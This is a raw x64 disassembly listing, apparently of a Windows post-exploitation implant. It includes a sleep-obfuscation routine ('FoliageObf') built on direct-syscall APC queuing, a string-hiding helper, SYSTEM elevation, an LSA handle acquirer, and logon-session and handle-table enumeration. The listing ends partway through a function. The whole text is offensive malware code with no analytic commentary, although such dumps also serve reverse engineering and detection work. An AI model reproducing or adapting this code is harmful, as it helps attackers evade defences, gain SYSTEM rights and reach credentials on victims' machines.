Similarity

1400133b0
1400133b0FoliageObf:
1400133b0push r15
1400133b2push r14
1400133b4xor r14l, r14l
1400133b7push r13
1400133b9push r12
1400133bbpush rbp
1400133bcpush rdi
1400133bdpush rsi
1400133bepush rbx
1400133bfsub rsp, 296
1400133c6mov [rsp+240], r14
1400133cemov [rsp+248], r14
1400133d6mov [rsp+256], r14
1400133demov [rsp+264], r14
1400133e6mov [rsp+272], r14
1400133eemov [rsp+280], r14
1400133f6mov [rsp+176], r14
1400133femov [rsp+184], r14
140013406mov [rsp+192], r14
14001340emov [rsp+232], r14
140013416mov r14, [rip+0x18f53]
14001341dmov [rsp+368], rcx
140013425mov rdx, [r14+44]
140013429mov eax, [r14+52]
14001342dmov [rsp+172], 64
140013438mov rcx, [r14+56]
14001343cmov [rsp+200], rdx
140013444mov [rsp+208], rax
14001344ctest rcx, rcx
14001344fje 0x14001346b
140013451mov r8l, [r14+64]
140013455test r8l, r8l
140013458je 0x14001346b
14001345amov [rsp+172], 32
140013465mov eax, r8l
140013468mov rdx, rcx
14001346b
14001346bloc_14001346b:
14001346bmov [rsp+216], rdx
140013473xor ebx, ebx
140013475mov [rsp+224], rax
14001347d
14001347dloc_14001347d:
14001347dcall RandomNumber32
140013482mov edx, eax
140013484lea rax, [rsp+272]
14001348cmov [rsp+rbx+272], dl
140013493inc rbx
140013496cmp rbx, 16
14001349ajne 0x14001347d
14001349cmov [rsp+248], rax
1400134a4xor r13l, r13l
1400134a7mov rax, 0x1000000010
1400134b1xor r8l, r8l
1400134b4mov [rsp+32], r13l
1400134b9lea rcx, [rsp+176]
1400134c1mov edx, 0x1f0003
1400134c6mov r9l, 1
1400134ccmov [rsp+240], rax
1400134d4mov rax, [rsp+200]
1400134dcmov [rsp+264], rax
1400134e4mov rax, [rsp+208]
1400134ecmov [rsp+260], eax
1400134f3mov [rsp+256], eax
1400134facall SysNtCreateEvent
1400134fftest eax, eax
140013501js 0x140013f7e
140013507xor edi, edi
140013509xor ebp, ebp
14001350bxor r12l, r12l
14001350emov [rsp+48], 1
140013516mov [rsp+80], rdi
14001351bor r9, -1
14001351fxor r8l, r8l
140013522lea rcx, [rsp+184]
14001352amov [rsp+72], 0x14000
140013533mov edx, 0x1fffff
140013538mov [rsp+64], 0x14000
140013541mov [rsp+56], rbp
140013546mov [rsp+40], r12
14001354bmov rax, [r14+228]
140013552mov [rsp+32], rax
140013557call SysNtCreateThreadEx
14001355ctest eax, eax
14001355ejs 0x140013f7e
140013564mov edx, 1232
140013569mov ecx, 64
14001356exor esi, esi
140013570call [r14+932]
140013577mov edx, 1232
14001357cmov ecx, 64
140013581mov [rsp+104], rax
140013586call [r14+932]
14001358dmov edx, 1232
140013592mov ecx, 64
140013597mov [rsp+160], rax
14001359fcall [r14+932]
1400135a6mov edx, 1232
1400135abmov ecx, 64
1400135b0mov [rsp+144], rax
1400135b8call [r14+932]
1400135bfmov edx, 1232
1400135c4mov ecx, 64
1400135c9mov rbp, rax
1400135cccall [r14+932]
1400135d3mov edx, 1232
1400135d8mov ecx, 64
1400135ddmov rbx, rax
1400135e0call [r14+932]
1400135e7mov edx, 1232
1400135ecmov ecx, 64
1400135f1mov [rsp+128], rax
1400135f9call [r14+932]
140013600mov edx, 1232
140013605mov ecx, 64
14001360amov [rsp+136], rax
140013612call [r14+932]
140013619mov edx, 1232
14001361emov ecx, 64
140013623mov r15, rax
140013626call [r14+932]
14001362dmov edx, 1232
140013632mov ecx, 64
140013637mov r12, rax
14001363acall [r14+932]
140013641mov edx, 1232
140013646mov ecx, 64
14001364bmov [rsp+112], rax
140013650call [r14+932]
140013657mov edx, 1232
14001365cmov ecx, 64
140013661mov r13, rax
140013664call [r14+932]
14001366bmov edx, 1232
140013670mov ecx, 64
140013675mov [rsp+120], rax
14001367acall [r14+932]
140013681or r8, -1
140013685or rcx, -1
140013689lea r9, [rsp+192]
140013691mov [rsp+152], rax
140013699mov rax, [rsp+104]
14001369emov rdx, -2
1400136a5mov [rax+48], 0x10000b
1400136acmov rax, [rsp+160]
1400136b4mov [rax+48], 0x10000b
1400136bbmov rax, [rsp+144]
1400136c3mov [rax+48], 0x10000b
1400136camov rax, [rsp+128]
1400136d2mov [rbp+48], 0x10000b
1400136d9mov [rbx+48], 0x10000b
1400136e0mov [rax+48], 0x10000b
1400136e7mov rax, [rsp+136]
1400136efmov [rax+48], 0x10000b
1400136f6mov rax, [rsp+112]
1400136fbmov [r15+48], 0x10000b
140013703mov [r12+48], 0x10000b
14001370cmov [rax+48], 0x10000b
140013713mov rax, [rsp+120]
140013718mov [r13+48], 0x10000b
140013720mov [rax+48], 0x10000b
140013727mov rax, [rsp+152]
14001372fmov [rax+48], 0x10000b
140013736mov [rsp+48], esi
14001373amov [rsp+40], esi
14001373emov [rsp+32], 0x1fffff
140013746call SysNtDuplicateObject
14001374btest eax, eax
14001374djs 0x140013e04
140013753mov rdx, [rsp+104]
140013758mov rcx, [rsp+184]
140013760call [r14+588]
140013767test eax, eax
140013769js 0x140013e04
14001376fmov rsi, [rsp+104]
140013774mov ecx, 308
140013779mov rdi, rbp
14001377cxor r10l, r10l
14001377frep movsd [rdi], [rsi]
140013781mov rsi, [rsp+104]
140013786mov ecx, 308
14001378bmov rdi, rbx
14001378elea r8, [rsp+256]
140013796xor r11l, r11l
140013799rep movsd [rdi], [rsi]
14001379bmov rdi, [rsp+128]
1400137a3mov rsi, [rsp+104]
1400137a8mov ecx, 308
1400137adrep movsd [rdi], [rsi]
1400137afmov rdi, [rsp+136]
1400137b7mov rsi, [rsp+104]
1400137bcmov ecx, 308
1400137c1rep movsd [rdi], [rsi]
1400137c3mov rsi, [rsp+104]
1400137c8mov ecx, 308
1400137cdmov rdi, r15
1400137d0rep movsd [rdi], [rsi]
1400137d2mov rsi, [rsp+104]
1400137d7mov ecx, 308
1400137dcmov rdi, r12
1400137dfrep movsd [rdi], [rsi]
1400137e1mov rdi, [rsp+112]
1400137e6mov rsi, [rsp+104]
1400137ebmov ecx, 308
1400137f0rep movsd [rdi], [rsi]
1400137f2mov rsi, [rsp+104]
1400137f7mov ecx, 308
1400137fcmov rdi, r13
1400137ffrep movsd [rdi], [rsi]
140013801mov rdi, [rsp+120]
140013806mov rsi, [rsp+104]
14001380bmov ecx, 308
140013810rep movsd [rdi], [rsi]
140013812mov rdi, [rsp+152]
14001381amov ecx, 308
14001381fmov rsi, [rsp+104]
140013824rep movsd [rdi], [rsi]
140013826mov [rbp+48], 0x10000b
14001382dmov rsi, [rsp+128]
140013835mov rax, [r14+620]
14001383cmov [rbp+248], rax
140013843mov rax, [rbp+152]
14001384alea rdx, [rax-53248]
140013851mov [rbp+152], rdx
140013858mov rdx, [rsp+176]
140013860mov [rbp+128], rdx
140013867xor edx, edx
140013869mov [rbp+136], rdx
140013870mov [rbp+184], rdx
140013877mov rdx, [r14+628]
14001387emov [rax-53248], rdx
140013885mov rax, [r14+676]
14001388cmov [rbx+48], 0x10000b
140013893mov [rbx+248], rax
14001389amov rax, [rbx+152]
1400138a1mov [rbx+128], -1
1400138aclea rdx, [rax-49152]
1400138b3mov [rbx+192], 4
1400138bemov [rbx+152], rdx
1400138c5lea rdx, [rsp+200]
1400138cdmov [rbx+136], rdx
1400138d4lea rdx, [rsp+208]
1400138dcmov [rbx+184], rdx
1400138e3mov rdx, [r14+628]
1400138eamov [rax-49152], rdx
1400138f1lea rdx, [rsp+232]
1400138f9mov [rax-49112], rdx
140013900mov rax, [rsp+128]
140013908mov [rax+48], 0x10000b
14001390fmov rax, [r14+1372]
140013916mov [rsi+248], rax
14001391dmov rax, [rsi+152]
140013924lea rcx, [rax-45056]
14001392bmov [rsi+152], rcx
140013932mov r9, [r14+628]
140013939lea rcx, [rsp+240]
140013941mov [rsi+128], r8
140013948mov rdi, [rsp+160]
140013950mov [rsi+136], rcx
140013957mov rsi, [rsp+136]
14001395fmov [rax-45056], r9
140013966mov rax, [rsp+136]
14001396emov [rax+48], 0x10000b
140013975mov rax, [r14+588]
14001397cmov [rsi+136], rdi
140013983mov [rsi+248], rax
14001398amov rax, [rsi+152]
140013991lea r9, [rax-40960]
140013998mov [rsi+152], r9
14001399fmov r9, [rsp+192]
1400139a7mov [rsi+128], r9
1400139aemov r9, [r14+628]
1400139b5mov rsi, [rsp+144]
1400139bdmov [rax-40960], r9
1400139c4mov rax, [r14+596]
1400139cbmov [r15+48], 0x10000b
1400139d3mov [r15+248], rax
1400139damov rax, [r15+152]
1400139e1mov [r15+136], rsi
1400139e8lea r9, [rax-36864]
1400139efmov [r15+152], r9
1400139f6mov r9, [rsp+192]
1400139femov [r15+128], r9
140013a05mov r9, [r14+628]
140013a0cmov [rax-36864], r9
140013a13mov rax, [r14+1692]
140013a1amov [r12+48], 0x10000b
140013a23mov [r12+248], rax
140013a2bmov rax, [r12+152]
140013a33lea r9, [rax-32768]
140013a3amov [r12+152], r9
140013a42mov r9, [rsp+192]
140013a4amov rsi, [rsp+368]
140013a52mov [r12+128], r9
140013a5axor r9l, r9l
140013a5dmov edi, [rsi]
140013a5fmov rsi, [rsp+112]
140013a64mov [r12+184], r9
140013a6cmov r9, [r14+628]
140013a73mov [r12+136], rdi
140013a7bmov [rax-32768], r9
140013a82mov rax, [rsp+112]
140013a87mov [rax+48], 0x10000b
140013a8emov rax, [r14+1372]
140013a95mov [rsi+136], rcx
140013a9cmov rcx, [r14+628]
140013aa3mov [rsi+248], rax
140013aaamov rax, [rsi+152]
140013ab1mov [rsi+128], r8
140013ab8mov r8, rbp
140013abblea r9, [rax-28672]
140013ac2mov [rsi+152], r9
140013ac9mov esi, [rsp+172]
140013ad0xor r9l, r9l
140013ad3mov [rax-28672], rcx
140013adamov rax, [r14+676]
140013ae1mov [r13+48], 0x10000b
140013ae9mov [r13+248], rax
140013af0mov rax, [r13+152]
140013af7mov [r13+192], rsi
140013afelea rcx, [rax-24576]
140013b05mov [r13+128], -1
140013b10mov [r13+152], rcx
140013b17lea rcx, [rsp+216]
140013b1fmov [r13+136], rcx
140013b26lea rcx, [rsp+224]
140013b2emov [r13+184], rcx
140013b35mov rcx, [r14+628]
140013b3cmov [rax-24536], rdx
140013b43mov [rax-24576], rcx
140013b4amov rax, [rsp+120]
140013b4fmov rsi, [rsp+120]
140013b54mov [rax+48], 0x10000b
140013b5bmov rax, [r14+596]
140013b62mov rdi, rsi
140013b65mov [rsi+248], rax
140013b6cmov rax, [rsi+152]
140013b73lea rdx, [rax-20480]
140013b7amov [rsi+152], rdx
140013b81mov rdx, [rsp+192]
140013b89mov [rsi+128], rdx
140013b90mov rdx, [r14+628]
140013b97mov rsi, [rsp+160]
140013b9fmov [rdi+136], rsi
140013ba6mov rdi, [rsp+152]
140013baemov [rax-20480], rdx
140013bb5mov rax, [rsp+152]
140013bbdmov rdx, [r14+628]
140013bc4mov [rax+48], 0x10000b
140013bcbmov rax, [r14+364]
140013bd2sub [rdi+152], 16384
140013bddmov [rdi+248], rax
140013be4mov rax, [rbp+152]
140013bebmov [rdi+128], r10
140013bf2mov [rax], rdx
140013bf5mov rdx, [r14+692]
140013bfcmov [rsp+32], r11
140013c01mov rcx, [rsp+184]
140013c09call SysNtQueueApcThread
140013c0etest eax, eax
140013c10js 0x140013e04
140013c16xor eax, eax
140013c18mov rdx, [r14+692]
140013c1fxor r9l, r9l
140013c22mov r8, rbx
140013c25mov [rsp+32], rax
140013c2amov rcx, [rsp+184]
140013c32call SysNtQueueApcThread
140013c37test eax, eax
140013c39js 0x140013e04
140013c3fxor eax, eax
140013c41mov rdx, [r14+692]
140013c48xor r9l, r9l
140013c4bmov r8, [rsp+128]
140013c53mov [rsp+32], rax
140013c58mov rcx, [rsp+184]
140013c60call SysNtQueueApcThread
140013c65test eax, eax
140013c67js 0x140013e04
140013c6dxor eax, eax
140013c6fmov rdx, [r14+692]
140013c76xor r9l, r9l
140013c79mov r8, [rsp+136]
140013c81mov [rsp+32], rax
140013c86mov rcx, [rsp+184]
140013c8ecall SysNtQueueApcThread
140013c93test eax, eax
140013c95js 0x140013e04
140013c9bxor eax, eax
140013c9dmov rdx, [r14+692]
140013ca4xor r9l, r9l
140013ca7mov r8, r15
140013caamov [rsp+32], rax
140013cafmov rcx, [rsp+184]
140013cb7call SysNtQueueApcThread
140013cbctest eax, eax
140013cbejs 0x140013e04
140013cc4mov r14, [rip+0x186a5]
140013ccbxor eax, eax
140013ccdxor r9l, r9l
140013cd0mov r8, r12
140013cd3mov rcx, [rsp+184]
140013cdbmov rdx, [r14+692]
140013ce2mov [rsp+32], rax
140013ce7call SysNtQueueApcThread
140013cectest eax, eax
140013ceejs 0x140013e04
140013cf4xor edi, edi
140013cf6mov r8, [rsp+112]
140013cfbxor r9l, r9l
140013cfemov rdx, [r14+692]
140013d05mov [rsp+32], rdi
140013d0amov rcx, [rsp+184]
140013d12call SysNtQueueApcThread
140013d17test eax, eax
140013d19js 0x140013e04
140013d1fxor esi, esi
140013d21mov rdx, [r14+692]
140013d28xor r9l, r9l
140013d2bmov r8, r13
140013d2emov [rsp+32], rsi
140013d33mov rcx, [rsp+184]
140013d3bcall SysNtQueueApcThread
140013d40test eax, eax
140013d42js 0x140013e04
140013d48xor r11l, r11l
140013d4bmov r8, [rsp+120]
140013d50xor r9l, r9l
140013d53mov rdx, [r14+692]
140013d5amov [rsp+32], r11
140013d5fmov rcx, [rsp+184]
140013d67call SysNtQueueApcThread
140013d6ctest eax, eax
140013d6ejs 0x140013e04
140013d74xor r10l, r10l
140013d77mov rdx, [r14+692]
140013d7exor r9l, r9l
140013d81mov r8, [rsp+152]
140013d89mov [rsp+32], r10
140013d8emov rcx, [rsp+184]
140013d96call SysNtQueueApcThread
140013d9btest eax, eax
140013d9djs 0x140013e04
140013d9fmov rcx, [rsp+184]
140013da7xor edx, edx
140013da9call SysNtAlertResumeThread
140013daetest eax, eax
140013db0js 0x140013e04
140013db2mov rax, [rsp+144]
140013dbaxor r9l, r9l
140013dbdxor r8l, r8l
140013dc0mov rsi, [rsp+144]
140013dc8mov rdx, [rsp+184]
140013dd0mov rcx, [rsp+176]
140013dd8mov [rax+48], 0x10000b
140013ddfmov rax, [r14+1692]
140013de6mov [rsi+248], rax
140013dedmov rax, [r14+2230]
140013df4mov rax, [rax+8]
140013df8mov [rsi+152], rax
140013dffcall SysNtSignalAndWaitForSingleObject
140013e04
140013e04loc_140013e04:
140013e04mov rdi, [rip+0x18565]
140013e0bmov rcx, [rsp+152]
140013e13call [rdi+940]
140013e19mov rcx, [rsp+120]
140013e1ecall [rdi+940]
140013e24test r13, r13
140013e27je 0x140013e32
140013e29mov rcx, r13
140013e2ccall [rdi+940]
140013e32
140013e32loc_140013e32:
140013e32cmp [rsp+112], 0
140013e38mov r13, [rip+0x18531]
140013e3fje 0x140013e4d
140013e41mov rcx, [rsp+112]
140013e46call [r13+940]
140013e4d
140013e4dloc_140013e4d:
140013e4dtest r12, r12
140013e50je 0x140013e5c
140013e52mov rcx, r12
140013e55call [r13+940]
140013e5c
140013e5cloc_140013e5c:
140013e5ctest r15, r15
140013e5fje 0x140013e6b
140013e61mov rcx, r15
140013e64call [r13+940]
140013e6b
140013e6bloc_140013e6b:
140013e6btest rbx, rbx
140013e6eje 0x140013e7a
140013e70mov rcx, rbx
140013e73call [r13+940]
140013e7a
140013e7aloc_140013e7a:
140013e7atest rbp, rbp
140013e7dje 0x140013e89
140013e7fmov rcx, rbp
140013e82call [r13+940]
140013e89
140013e89loc_140013e89:
140013e89cmp [rsp+144], 0
140013e92je 0x140013ea3
140013e94mov rcx, [rsp+144]
140013e9ccall [r13+940]
140013ea3
140013ea3loc_140013ea3:
140013ea3cmp [rsp+160], 0
140013eacje 0x140013ebd
140013eaemov rcx, [rsp+160]
140013eb6call [r13+940]
140013ebd
140013ebdloc_140013ebd:
140013ebdcmp [rsp+104], 0
140013ec3je 0x140013ed1
140013ec5mov rcx, [rsp+104]
140013ecacall [r13+940]
140013ed1
140013ed1loc_140013ed1:
140013ed1mov rcx, [rsp+192]
140013ed9test rcx, rcx
140013edcje 0x140013eee
140013edecall SysNtClose
140013ee3xor r9l, r9l
140013ee6mov [rsp+192], r9
140013eee
140013eeeloc_140013eee:
140013eeemov rcx, [rsp+184]
140013ef6test rcx, rcx
140013ef9je 0x140013f0d
140013efbxor edx, edx
140013efdcall SysNtTerminateThread
140013f02xor r8l, r8l
140013f05mov [rsp+184], r8
140013f0d
140013f0dloc_140013f0d:
140013f0dmov rcx, [rsp+176]
140013f15test rcx, rcx
140013f18je 0x140013f29
140013f1acall SysNtClose
140013f1fxor ecx, ecx
140013f21mov [rsp+176], rcx
140013f29
140013f29loc_140013f29:
140013f29mov edx, 16
140013f2exor eax, eax
140013f30lea rdi, [rsp+256]
140013f38mov rcx, rdx
140013f3brep stosb [rdi], al
140013f3dlea rdi, [rsp+240]
140013f45mov rcx, rdx
140013f48rep stosb [rdi], al
140013f4alea rdi, [rsp+272]
140013f52mov rcx, rdx
140013f55rep stosb [rdi], al
140013f57mov rax, [rsp+368]
140013f5fmov rcx, [rax+4]
140013f63call [r13+1508]
140013f6aadd rsp, 296
140013f71pop rbx
140013f72pop rsi
140013f73pop rdi
140013f74pop rbp
140013f75pop r12
140013f77pop r13
140013f79pop r14
140013f7bpop r15
140013f7dret
140013f7e
140013f7eloc_140013f7e:
140013f7exor edx, edx
140013f80xor eax, eax
140013f82xor r12l, r12l
140013f85xor ebp, ebp
140013f87mov [rsp+112], rax
140013f8cxor ebx, ebx
140013f8exor r15l, r15l
140013f91mov [rsp+104], rdx
140013f96mov [rsp+160], rdx
140013f9emov [rsp+144], rdx
140013fa6jmp 0x140013e32
1400133b0

140013fab
140013fab // align 0x10

140013fb0
140013fb0GetAllHandles:
140013fb0push r14
140013fb2push r13
140013fb4mov r13, rcx
140013fb7mov ecx, 64
140013fbcpush r12
140013fbemov r12, rdx
140013fc1mov edx, 32
140013fc6push rbp
140013fc7push rdi
140013fc8push rsi
140013fc9mov esi, 32
140013fcepush rbx
140013fcfsub rsp, 48
140013fd3mov rbp, [rip+0x18396]
140013fdamov [rsp+44], 32
140013fe2lea r14, [rsp+44]
140013fe7call [rbp+932]
140013fedmov rbx, rax
140013ff0
140013ff0loc_140013ff0:
140013ff0mov r8l, [rsp+44]
140013ff5mov r9, r14
140013ff8mov rdx, rbx
140013ffbmov ecx, 16
140014000call SysNtQuerySystemInformation
140014005cmp eax, 0xffffffffc0000004
14001400ajne 0x14001403a
14001400ctest rbx, rbx
14001400fje 0x140014023
140014011mov ecx, esi
140014013mov rdi, rbx
140014016xor eax, eax
140014018rep stosb [rdi], al
14001401amov rcx, rbx
14001401dcall [rbp+940]
140014023
140014023loc_140014023:
140014023mov edx, [rsp+44]
140014027mov ecx, 64
14001402cmov rsi, rdx
14001402fcall [rbp+932]
140014035mov rbx, rax
140014038jmp 0x140013ff0
14001403a
14001403aloc_14001403a:
14001403atest eax, eax
14001403cjs 0x140014051
14001403emov eax, [rsp+44]
140014042mov [r13], rbx
140014046mov [r12], eax
14001404amov eax, 1
14001404fjmp 0x140014070
140014051
140014051loc_140014051:
140014051test rbx, rbx
140014054jne 0x14001405a
140014056
140014056loc_140014056:
140014056xor eax, eax
140014058jmp 0x140014070
14001405a
14001405aloc_14001405a:
14001405amov ecx, [rsp+44]
14001405emov rdi, rbx
140014061xor eax, eax
140014063rep stosb [rdi], al
140014065mov rcx, rbx
140014068call [rbp+940]
14001406ejmp 0x140014056
140014070
140014070loc_140014070:
140014070add rsp, 48
140014074pop rbx
140014075pop rsi
140014076pop rdi
140014077pop rbp
140014078pop r12
14001407apop r13
14001407cpop r14
14001407eret
140013fb0

14001407f
14001407f // align 0x10

140014080
140014080GetLUID:
140014080push rdi
140014081xor eax, eax
140014083mov r10, rcx
140014086mov ecx, 14
14001408bsub rsp, 112
14001408flea rdi, [rsp+56]
140014094rep stosd [rdi], eax
140014096xor eax, eax
140014098mov [rsp+52], eax
14001409ctest r10, r10
14001409fje 0x1400140e4
1400140a1mov rdi, [rip+0x182c8]
1400140a8lea rax, [rsp+52]
1400140admov r9l, 56
1400140b3mov rcx, r10
1400140b6mov [rsp+32], rax
1400140bblea r8, [rsp+56]
1400140c0mov edx, 10
1400140c5call [rdi+1340]
1400140cbtest eax, eax
1400140cdje 0x1400140e4
1400140cfmov edx, 8
1400140d4mov ecx, 64
1400140d9call [rdi+932]
1400140dftest rax, rax
1400140e2jne 0x1400140e8
1400140e4
1400140e4loc_1400140e4:
1400140e4xor eax, eax
1400140e6jmp 0x1400140f5
1400140e8
1400140e8loc_1400140e8:
1400140e8mov edx, [rsp+68]
1400140ecmov [rax+4], edx
1400140efmov edx, [rsp+64]
1400140f3mov [rax], edx
1400140f5
1400140f5loc_1400140f5:
1400140f5add rsp, 112
1400140f9pop rdi
1400140faret
140014080

1400140fb
1400140fb // align 0x10

140014100
140014100GetLogonSessionData:
140014100push r14
140014102push r13
140014104push r12
140014106mov r12, rdx
140014109mov edx, 16
14001410epush rbp
14001410fpush rdi
140014110push rsi
140014111push rbx
140014112mov ebx, 0xffffffffc0000001
140014117sub rsp, 64
14001411bmov rdi, [rip+0x1824e]
140014122mov [rsp+128], rcx
14001412axor ecx, ecx
14001412cmov [rsp+40], rcx
140014131mov ecx, 64
140014136call [rdi+932]
14001413ctest rax, rax
14001413fje 0x140014233
140014145cmp [rsp+128], 0
14001414dmov rsi, rax
140014150je 0x14001419f
140014152lea rdx, [rsp+40]
140014157lea rcx, [rsp+128]
14001415fcall [rdi+1964]
140014165mov ebx, eax
140014167test eax, eax
140014169js 0x140014233
14001416fmov edx, 8
140014174mov ecx, 64
140014179call [rdi+932]
14001417fmov [rsi], rax
140014182test rax, rax
140014185je 0x14001422e
14001418bmov rdx, [rsp+40]
140014190mov [rsi+8], 1
140014197mov [rax], rdx
14001419ajmp 0x140014228
14001419f
14001419floc_14001419f:
14001419flea rdx, [rsp+48]
1400141a4lea rcx, [rsp+36]
1400141a9call [rdi+1972]
1400141afmov ebx, eax
1400141b1test eax, eax
1400141b3js 0x140014233
1400141b5mov edx, [rsp+36]
1400141b9mov ecx, 64
1400141beshl rdx, 3
1400141c2call [rdi+932]
1400141c8mov [rsi], rax
1400141cbtest rax, rax
1400141ceje 0x14001422e
1400141d0mov eax, [rsp+36]
1400141d4xor ebp, ebp
1400141d6lea r13, [rsp+40]
1400141dblea r14, [rsp+56]
1400141e0mov [rsi+8], eax
1400141e3
1400141e3loc_1400141e3:
1400141e3mov rcx, [rsp+48]
1400141e8cmp ebp, [rsp+36]
1400141ecjae 0x140014222
1400141eemov rax, [rcx+8*rbp]
1400141f2mov rdx, r13
1400141f5mov rcx, r14
1400141f8mov [rsp+56], rax
1400141fdcall [rdi+1964]
140014203test eax, eax
140014205mov ebx, eax
140014207mov rax, [rsi]
14001420ajs 0x140014217
14001420cmov rdx, [rsp+40]
140014211mov [rax+8*rbp], rdx
140014215jmp 0x14001421d
140014217
140014217loc_140014217:
140014217xor edx, edx
140014219mov [rax+8*rbp], rdx
14001421d
14001421dloc_14001421d:
14001421dinc rbp
140014220jmp 0x1400141e3
140014222
140014222loc_140014222:
140014222call [rdi+2012]
140014228
140014228loc_140014228:
140014228mov [r12], rsi
14001422cjmp 0x140014233
14001422e
14001422eloc_14001422e:
14001422emov ebx, 0xffffffffc00000a0
140014233
140014233loc_140014233:
140014233add rsp, 64
140014237mov eax, ebx
140014239pop rbx
14001423apop rsi
14001423bpop rdi
14001423cpop rbp
14001423dpop r12
14001423fpop r13
140014241pop r14
140014243ret
140014100

140014244
140014244 // align 0x10

140014250
140014250GetLsaHandle:
140014250push r15
140014252xor r9l, r9l
140014255push r14
140014257push r13
140014259push r12
14001425bpush rbp
14001425cpush rdi
14001425dpush rsi
14001425emov rsi, r8
140014261xor r8l, r8l
140014264push rbx
140014265sub rsp, 88
140014269test edx, edx
14001426bmov rbp, [rip+0x180fe]
140014272mov [rsp+40], r8
140014277lea r12, [rsp+40]
14001427cmov [rsp+36], r9l
140014281jne 0x1400142a5
140014283mov rcx, r12
140014286call [rbp+2004]
14001428cmov ebx, eax
14001428etest eax, eax
140014290jns 0x1400143e7
140014296mov ecx, eax
140014298call [rbp+1452]
14001429emov ebx, eax
1400142a0jmp 0x1400143e7
1400142a5
1400142a5loc_1400142a5:
1400142a5xor eax, eax
1400142a7lea rdi, [rsp+54]
1400142aclea r15, [rsp+36]
1400142b1mov r14, rcx
1400142b4mov ecx, 110
1400142b9mov [rsp+54], rax
1400142belea r13, [rsp+64]
1400142c3mov [rsp+62], 0
1400142cacall HideChar
1400142cfmov ecx, 110
1400142d4mov [rsp+56], al
1400142d8call HideChar
1400142ddmov ecx, 111
1400142e2mov [rsp+62], al
1400142e6call HideChar
1400142ebmov ecx, 87
1400142f0mov [rsp+58], al
1400142f4call HideChar
1400142f9mov ecx, 105
1400142femov [rsp+54], al
140014302call HideChar
140014307mov ecx, 111
14001430cmov [rsp+55], al
140014310call HideChar
140014315mov ecx, 103
14001431amov [rsp+61], al
14001431ecall HideChar
140014323mov ecx, 108
140014328mov [rsp+60], al
14001432ccall HideChar
140014331xor ecx, ecx
140014333mov [rsp+57], al
140014337call HideChar
14001433cmov ecx, 111
140014341mov [rsp+63], al
140014345call HideChar
14001434amov [rsp+72], rdi
14001434fmov r8, r15
140014352mov rdx, r12
140014355mov [rsp+59], al
140014359mov rcx, r13
14001435cmov [rsp+64], 0x90008
140014364call [rbp+1980]
14001436amov ebx, eax
14001436ctest eax, eax
14001436ejs 0x140014378
140014370cmp [rsp+40], 0
140014376jne 0x1400143de
140014378
140014378loc_140014378:
140014378mov rcx, r14
14001437bcall IsSystem
140014380test eax, eax
140014382je 0x1400143a5
140014384mov r8, r15
140014387mov rdx, r12
14001438amov rcx, r13
14001438dcall [rbp+1980]
140014393mov ebx, eax
140014395test eax, eax
140014397jns 0x1400143de
140014399mov ecx, eax
14001439bcall [rbp+1452]
1400143a1mov ebx, eax
1400143a3jmp 0x1400143de
1400143a5
1400143a5loc_1400143a5:
1400143a5call ElevateToSystem
1400143aatest eax, eax
1400143acje 0x1400143d4
1400143aemov r8, r15
1400143b1mov rdx, r12
1400143b4mov rcx, r13
1400143b7call [rbp+1980]
1400143bdmov ebx, eax
1400143bftest eax, eax
1400143c1jns 0x1400143cd
1400143c3mov ecx, eax
1400143c5call [rbp+1452]
1400143cbmov ebx, eax
1400143cd
1400143cdloc_1400143cd:
1400143cdcall TokenRevSelf
1400143d2jmp 0x1400143de
1400143d4
1400143d4loc_1400143d4:
1400143d4mov rax, [rbp+2230]
1400143dbmov ebx, [rax+104]
1400143de
1400143deloc_1400143de:
1400143demov ecx, 10
1400143e3xor eax, eax
1400143e5rep stosb [rdi], al
1400143e7
1400143e7loc_1400143e7:
1400143e7mov rax, [rsp+40]
1400143ecmov [rsi], rax
1400143efadd rsp, 88
1400143f3mov eax, ebx
1400143f5pop rbx
1400143f6pop rsi
1400143f7pop rdi
1400143f8pop rbp
1400143f9pop r12
1400143fbpop r13
1400143fdpop r14
1400143ffpop r15
140014401ret
140014250

140014402
140014402 // align 0x10

140014410
140014410GetMemFile:
140014410mov rax, [rip+0x17f59]
140014417mov rax, [rax+2318]
14001441e
14001441eloc_14001441e:
14001441etest rax, rax
140014421je 0x14001442d
140014423cmp [rax], ecx
140014425je 0x14001442d
140014427mov rax, [rax+40]
14001442bjmp 0x14001441e
14001442d
14001442dloc_14001442d:
14001442dret
140014410

14001442e
14001442e // align 0x10

140014430
140014430GetPeArch:
140014430xor eax, eax
140014432test rcx, rcx
140014435je 0x140014457
140014437movsxd rax, [rcx+60]
14001443bmov edx, [rcx+rax+24]
14001443fmov eax, 1
140014444cmp dx, 267
140014449je 0x140014457
14001444bxor eax, eax
14001444dcmp dx, 523
140014452sete al
140014455add eax, eax
140014457
140014457loc_140014457:
140014457ret
140014430

140014458
140014458 // align 0x10

140014460
140014460GetProcessIdByName:
140014460push r12
140014462xor eax, eax
140014464xor edx, edx
140014466push rbp
140014467mov rbp, rcx
14001446amov ecx, 142
14001446fpush rdi
140014470push rsi
140014471push rbx
140014472sub rsp, 608
140014479mov rsi, [rip+0x17ef0]
140014480lea rdi, [rsp+40]
140014485rep stosd [rdi], eax
140014487mov ecx, 2
14001448ccall [rsi+772]
140014492cmp rax, -1
140014496je 0x1400144c5
140014498lea rdi, [rsp+40]
14001449dmov rbx, rax
1400144a0lea r12, [rsp+84]
1400144a5mov rcx, rax
1400144a8mov [rsp+40], 568
1400144b0mov rdx, rdi
1400144b3call [rsi+780]
1400144b9test eax, eax
1400144bbjne 0x1400144ca
1400144bdmov rcx, rbx
1400144c0call SysNtClose
1400144c5
1400144c5loc_1400144c5:
1400144c5or esi, -1
1400144c8jmp 0x1400144fa
1400144ca
1400144caloc_1400144ca:
1400144camov rdx, rbp
1400144cdmov rcx, r12
1400144d0call StringCompareW
1400144d5test eax, eax
1400144d7jne 0x1400144df
1400144d9mov esi, [rsp+48]
1400144ddjmp 0x1400144f2
1400144df
1400144dfloc_1400144df:
1400144dfmov rdx, rdi
1400144e2mov rcx, rbx
1400144e5call [rsi+788]
1400144ebtest eax, eax
1400144edjne 0x1400144ca
1400144efor esi, -1
1400144f2
1400144f2loc_1400144f2:
1400144f2mov rcx, rbx
1400144f5call SysNtClose
1400144fa
1400144faloc_1400144fa:
1400144faadd rsp, 608
140014501mov eax, esi
140014503pop rbx
140014504pop rsi
140014505pop rdi
140014506pop rbp
140014507pop r12
140014509ret
140014460

14001450a
14001450a // align 0x10

140014510
140014510GetProcessesFromHandleTable:
140014510push r12
140014512mov r12, rdx
140014515mov edx, 20004
14001451apush rbp
14001451bpush rdi
14001451cmov rdi, rcx
14001451fmov ecx, 64
140014524push rsi
140014525push rbx
